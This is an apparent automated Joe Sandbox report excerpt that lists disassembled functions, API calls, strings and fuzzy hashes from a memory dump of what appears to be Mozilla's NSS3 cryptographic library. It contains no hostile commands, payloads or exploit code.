Part of subcall function 6C601240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C601291
Part of subcall function 6C601240: PR_Unlock.NSS3(?,?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C6012A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C656CAA

Strings

dbm, xrefs: 6C656CA4
rdb:, xrefs: 6C656C69
dbm:, xrefs: 6C656C3A
NSS_DEFAULT_DB_TYPE, xrefs: 6C656C91
extern:, xrefs: 6C656C7E
sql:, xrefs: 6C656C52

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 5fff1d2daadffd16c91f612380759c742d0ae8b927e3fe25424561dd6c35d9db
Instruction ID: 12d6dd27acdbc579769409586e6cff8ea21db1ca18f487a5a9df3607de9881ad
Opcode Fuzzy Hash: 5fff1d2daadffd16c91f612380759c742d0ae8b927e3fe25424561dd6c35d9db
Instruction Fuzzy Hash: 3501A7F170235127FA00277AAF49F66355C9F4125DFA40531FE04E0A41EE96E63481A9

Function 6C664E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6278F8), ref: 6C664E6D

Part of subcall function 6C6009E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6006A2,00000000,?), ref: 6C6009F8
Part of subcall function 6C6009E0: malloc.MOZGLUE(0000001F), ref: 6C600A18
Part of subcall function 6C6009E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C600A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6278F8), ref: 6C664ED9

Part of subcall function 6C655920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C657703,?,00000000,00000000), ref: 6C655942
Part of subcall function 6C655920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C657703), ref: 6C655954
Part of subcall function 6C655920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C65596A
Part of subcall function 6C655920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C655984
Part of subcall function 6C655920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C655999
Part of subcall function 6C655920: free.MOZGLUE(00000000), ref: 6C6559BA
Part of subcall function 6C655920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C6559D3
Part of subcall function 6C655920: free.MOZGLUE(00000000), ref: 6C6559F5
Part of subcall function 6C655920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C655A0A
Part of subcall function 6C655920: free.MOZGLUE(00000000), ref: 6C655A2E
Part of subcall function 6C655920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C655A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C664EB3

Part of subcall function 6C664820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C664EB8,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C66484C
Part of subcall function 6C664820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C664EB8,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C66486D
Part of subcall function 6C664820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C664EB8,?), ref: 6C664884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C664EC0

Part of subcall function 6C664470: TlsGetValue.KERNEL32(00000000,?,6C627296,00000000), ref: 6C664487
Part of subcall function 6C664470: EnterCriticalSection.KERNEL32(?,?,?,6C627296,00000000), ref: 6C6644A0
Part of subcall function 6C664470: PR_Unlock.NSS3(?,?,?,?,6C627296,00000000), ref: 6C6644BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C664F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C664F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C664F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C664F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C664F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C664F8F
PK11_UpdateSlotAttribute.NSS3(?,6C73DCB0,00000000), ref: 6C664FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C66501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C66506B

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: ac5220c43721d14b554f757b9d23393953db1fb383fca7632770a4aa22d9f2c7
Instruction ID: 0c987d410caa71b98a75b5acb457b548d97f03a5914dac4663023fb18c53a552
Opcode Fuzzy Hash: ac5220c43721d14b554f757b9d23393953db1fb383fca7632770a4aa22d9f2c7
Instruction Fuzzy Hash: 2D5103B19002159BDB019F26EC05AAA36B4FF0631CF144535E85A86F12FB31E965CBAB

Function 6C60ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60ACE2
malloc.MOZGLUE(00000001), ref: 6C60ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C60AD02
TlsGetValue.KERNEL32 ref: 6C60AD3C
calloc.MOZGLUE(00000001,?), ref: 6C60AD8C
PR_Unlock.NSS3 ref: 6C60ADC0
free.MOZGLUE(00000000), ref: 6C60AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C60AE58
free.MOZGLUE(00000000), ref: 6C60AE69
free.MOZGLUE(?), ref: 6C60AE78
PR_Unlock.NSS3 ref: 6C60AE8C
free.MOZGLUE(?), ref: 6C60AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C60AEC7

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: a8ade9de4093b6a4d7d9424e94438d9515269c827a0a0da189b86c2cb04e729e
Instruction ID: ae9c61914561c8a9fc9946e320580c5a633b746a5e62cc3ac23b491c33249326
Opcode Fuzzy Hash: a8ade9de4093b6a4d7d9424e94438d9515269c827a0a0da189b86c2cb04e729e
Instruction Fuzzy Hash: E451D2B0F002299BDF05EF68CE456AE77B4BB06389F140535D808B7B42D730A905CBEA

Function 6C6E4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C6E4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6E4CFD
sqlite3_value_text16.NSS3(?), ref: 6C6E4D44

Strings

abort due to ROLLBACK, xrefs: 6C6E4D27, 6C6E4D33
out of memory, xrefs: 6C6E4C78, 6C6E4C9E
another row available, xrefs: 6C6E4D20
bad parameter or other API misuse, xrefs: 6C6E4D05
API call with %s database connection pointer, xrefs: 6C6E4CF6
unknown error, xrefs: 6C6E4D56
invalid, xrefs: 6C6E4CF1
no more rows available, xrefs: 6C6E4D2E

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 0e122e1851209d7606077ecf0dbceb19184e0a2b84d0a79457faa26dde6f431a
Instruction ID: 6bc1926de66bcbfbe6f95058c8bb21df8189c84d0c80849cb8cb809c53687967
Opcode Fuzzy Hash: 0e122e1851209d7606077ecf0dbceb19184e0a2b84d0a79457faa26dde6f431a
Instruction Fuzzy Hash: 78317AB2E0F911A7D70846B498057F473A5BB8EB18F154137D4244BE54CBE5AC12C3EE

Function 6C642CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C642CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C642D07

Part of subcall function 6C7209D0: PR_Now.NSS3 ref: 6C720A22
Part of subcall function 6C7209D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C720A35
Part of subcall function 6C7209D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C720A66
Part of subcall function 6C7209D0: PR_GetCurrentThread.NSS3 ref: 6C720A70
Part of subcall function 6C7209D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C720A9D
Part of subcall function 6C7209D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C720AC8
Part of subcall function 6C7209D0: PR_vsmprintf.NSS3(?,?), ref: 6C720AE8
Part of subcall function 6C7209D0: EnterCriticalSection.KERNEL32(?), ref: 6C720B19
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C720B48
Part of subcall function 6C7209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C720C76
Part of subcall function 6C7209D0: PR_LogFlush.NSS3 ref: 6C720C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C642D22

Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(?), ref: 6C720B88
Part of subcall function 6C7209D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C720C5D
Part of subcall function 6C7209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C720C8D
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720C9C
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(?), ref: 6C720CD1
Part of subcall function 6C7209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C720CEC
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720CFB
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C720D16
Part of subcall function 6C7209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C720D26
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720D35
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C720D65
Part of subcall function 6C7209D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C720D70
Part of subcall function 6C7209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C720D90
Part of subcall function 6C7209D0: free.MOZGLUE(00000000), ref: 6C720D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C642D3B

Part of subcall function 6C7209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C720BAB
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720BBA
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C642D54

Part of subcall function 6C7209D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C720BCB
Part of subcall function 6C7209D0: EnterCriticalSection.KERNEL32(?), ref: 6C720BDE
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(?), ref: 6C720C16

Strings

slotID = 0x%x, xrefs: 6C642D02
C_InitToken, xrefs: 6C642CE7
pPin = 0x%p, xrefs: 6C642D1D
nrl, xrefs: 6C642D6C, 6C642D9A
pLabel = 0x%p, xrefs: 6C642D4F
ulPinLen = %d, xrefs: 6C642D36

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nrl
API String ID: 420000887-2053071873
Opcode ID: a69c78741513aa074ec900d59f3be0fabf9a82634e35be2a63738580636dceac
Instruction ID: 8a541c967d7637ec30e47096e1a7874cb1b61af908d3fdeb10756205cb17b964
Opcode Fuzzy Hash: a69c78741513aa074ec900d59f3be0fabf9a82634e35be2a63738580636dceac
Instruction Fuzzy Hash: B721AF75200168EFDB01AF54DE8CA893BF1FB82329F54C034E518D7622DB319948DBB6

Function 6C642AF0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetMechanismList), ref: 6C642B0C
PR_LogPrint.NSS3( pulCount = 0x%p,?), ref: 6C642B59

Part of subcall function 6C7209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C720BAB
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720BBA
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720D7E

PR_LogPrint.NSS3( pMechanismList = 0x%p,?), ref: 6C642B3E

Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(?), ref: 6C720B88
Part of subcall function 6C7209D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C720C5D
Part of subcall function 6C7209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C720C8D
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720C9C
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(?), ref: 6C720CD1
Part of subcall function 6C7209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C720CEC
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720CFB
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C720D16
Part of subcall function 6C7209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C720D26
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720D35
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C720D65
Part of subcall function 6C7209D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C720D70
Part of subcall function 6C7209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C720D90
Part of subcall function 6C7209D0: free.MOZGLUE(00000000), ref: 6C720D99

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C642B25

Part of subcall function 6C7209D0: PR_Now.NSS3 ref: 6C720A22
Part of subcall function 6C7209D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C720A35
Part of subcall function 6C7209D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C720A66
Part of subcall function 6C7209D0: PR_GetCurrentThread.NSS3 ref: 6C720A70
Part of subcall function 6C7209D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C720A9D
Part of subcall function 6C7209D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C720AC8
Part of subcall function 6C7209D0: PR_vsmprintf.NSS3(?,?), ref: 6C720AE8
Part of subcall function 6C7209D0: EnterCriticalSection.KERNEL32(?), ref: 6C720B19
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C720B48
Part of subcall function 6C7209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C720C76
Part of subcall function 6C7209D0: PR_LogFlush.NSS3 ref: 6C720C7E

PR_LogPrint.NSS3( *pulCount = 0x%x,?), ref: 6C642BC0

Strings

slotID = 0x%x, xrefs: 6C642B20
pMechanismList = 0x%p, xrefs: 6C642B39
C_GetMechanismList, xrefs: 6C642B07
nrl, xrefs: 6C642B71, 6C642B9C
*pulCount = 0x%x, xrefs: 6C642BBB
pulCount = 0x%p, xrefs: 6C642B54

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: DebugOutputPrintStringfflush$fwrite$R_snprintf$CriticalCurrentEnterExplodeFlushR_vsmprintfR_vsnprintfSectionThreadTimefputcfreememcpy
String ID: *pulCount = 0x%x$ pMechanismList = 0x%p$ pulCount = 0x%p$ slotID = 0x%x$C_GetMechanismList$nrl
API String ID: 1342304006-3412459973
Opcode ID: ce68458abcbea92df732d57be58016aef21e4e3ac1e218a6d2dccbc045890ffd
Instruction ID: 616b64ff145c0eeeda376f19c47f8a4931669a803e158f577d48c3679537ba32
Opcode Fuzzy Hash: ce68458abcbea92df732d57be58016aef21e4e3ac1e218a6d2dccbc045890ffd
Instruction Fuzzy Hash: EC21BD71601169EFDB029F54DE8CA893BB1BB4236DF04C034E818E3711CB31A948CB7A

Function 6C5B2450 Relevance: 19.2, APIs: 15, Instructions: 440COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5B24BA
LeaveCriticalSection.KERNEL32(?), ref: 6C5B250D
EnterCriticalSection.KERNEL32(?), ref: 6C5B2554
LeaveCriticalSection.KERNEL32(?), ref: 6C5B25A7
EnterCriticalSection.KERNEL32(?), ref: 6C5B2609
LeaveCriticalSection.KERNEL32(?), ref: 6C5B265F
EnterCriticalSection.KERNEL32(?), ref: 6C5B26A2
LeaveCriticalSection.KERNEL32(?), ref: 6C5B26F5
EnterCriticalSection.KERNEL32(?), ref: 6C5B2764
LeaveCriticalSection.KERNEL32(?), ref: 6C5B2898
EnterCriticalSection.KERNEL32(?), ref: 6C5B28D0
EnterCriticalSection.KERNEL32(?), ref: 6C5B2948
LeaveCriticalSection.KERNEL32(?), ref: 6C5B299B
EnterCriticalSection.KERNEL32(?), ref: 6C5B29E2
LeaveCriticalSection.KERNEL32(?), ref: 6C5B2A31

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: 25e27df8baa047f66599ce1fced6227670b4626ed72a42bfc9ca40348531a346
Instruction ID: b177122c6bdc4dc892ba04f0842d9794e9b721a6d57138f5e12605adc366e3b0
Opcode Fuzzy Hash: 25e27df8baa047f66599ce1fced6227670b4626ed72a42bfc9ca40348531a346
Instruction Fuzzy Hash: 9CF1A431B05628DBDB06DF61DDADA7A3B30BF47315B28013DD8066BA10DB359946CBB2

Function 6C67E400 Relevance: 18.2, APIs: 12, Instructions: 206threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C67C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C67DAE2,?), ref: 6C67C6C2

SECOID_GetAlgorithmTag_Util.NSS3(-000000D8), ref: 6C67E4A0
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C67E4B1
SECOID_GetAlgorithmTag_Util.NSS3(-00000010), ref: 6C67E4C4
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C67E4D2
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,00000000), ref: 6C67E525
PK11_FreeSymKey.NSS3(00000000), ref: 6C67E592
PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C67E5CF
PR_GetCurrentThread.NSS3 ref: 6C67E5F2
PR_SetError.NSS3(00000000,00000000), ref: 6C67E601
PK11_PubUnwrapSymKey.NSS3(?,?,-00000001,00000105,00000000), ref: 6C67E620
PR_GetCurrentThread.NSS3 ref: 6C67E632
PR_SetError.NSS3(00000000,00000000), ref: 6C67E641

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmK11_$CurrentErrorFindFreeThread$DestroyPrivateUnwrap
String ID:
API String ID: 2900466288-0
Opcode ID: a91e814b8542b72481cfc0ac5b72aea24eb10ce206ad378d47a3d9073f5ca309
Instruction ID: 4f1fee8a1be8402f14b93e04cecc11c1d323c71a3185370648745d27f6c0f852
Opcode Fuzzy Hash: a91e814b8542b72481cfc0ac5b72aea24eb10ce206ad378d47a3d9073f5ca309
Instruction Fuzzy Hash: 2B6177B1A003099FEB20DF69DC85AEB77E4AF45308B540929D806D7B11F731E919CBB9

Function 6C614880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6148A2
PORT_NewArena_Util.NSS3(00000800), ref: 6C6148C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6C6148D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6C6148FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6C614908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C614947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C61496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C614988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C738DAC,?), ref: 6C6149DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6149FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C614ACB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
